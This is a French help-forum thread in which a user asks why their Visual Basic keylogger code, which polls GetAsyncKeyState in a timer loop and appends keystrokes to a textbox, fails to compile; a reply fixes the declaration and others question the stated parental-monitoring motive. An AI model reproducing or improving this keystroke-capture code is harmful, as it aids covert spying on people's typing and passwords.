Key logger visual basic

Résolu
Profil bloqué -  
arth Messages postés 84 Date d'inscription   Statut Contributeur Dernière intervention   -
Bonjour,

voici mon code
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For I = 1 To 255
result = 0
result = GetAsyncKeyState(I)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(I)
End If
Next I
End Sub
Mais visual basic 2010 express dit que Une constante ne peut pas être la cible d'une assignation.
Il affiche des vaguelette sur I (après for)
Aidez moi svp

Attention je n'est pas l'intention de faire un keylogger pour piraté.

4 réponses

  1. Gaunts Messages postés 1390 Statut Membre 116
     
    J'ai jamais fait de visual basic, mais ça serait mieux avec un
    Dim I as Integer

    Au début du code?
    0
    1. Profil bloqué
       
      non sa marchera pas car si j'enlève le result (au dim) il n'est plus déclarer
      0
    2. Gaunts Messages postés 1390 Statut Membre 116
       
      Public Class Form1
      Dim result As Integer
      Dim I As Integer
      Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
      
      Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
      
      End Sub
      
      Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
      For I = 1 To 255
      result = 0
      result = GetAsyncKeyState(I)
      If result = -32767 Then
      TextBox1.Text = TextBox1.Text + Chr(I)
      End If
      Next I
      End Sub 
      0
    3. Profil bloqué
       
      plus d'érreur mais le code ne marche pas merci quand même
      0
  2. arth Messages postés 84 Date d'inscription   Statut Contributeur Dernière intervention   1 296
     
    "Attention je n'est pas l'intention de faire un keylogger pour piraté."

    Mouarf ^.^ l'est bien bonne celle-là ...
    0
  3. Profil bloqué
     
    C'est pour que des adultes voient ce que ont fait leur enfant
    0
  4. arth Messages postés 84 Date d'inscription   Statut Contributeur Dernière intervention   1 296
     
    Au lieu de voir ce qu'ils font, il est préférable de limiter ce qu'ils peuvent faire via des softs de contrôle parental par exemple.

    Un keylogger pour "espionner" ces enfants, puisque c'est de ça qu'il s'agit.
    0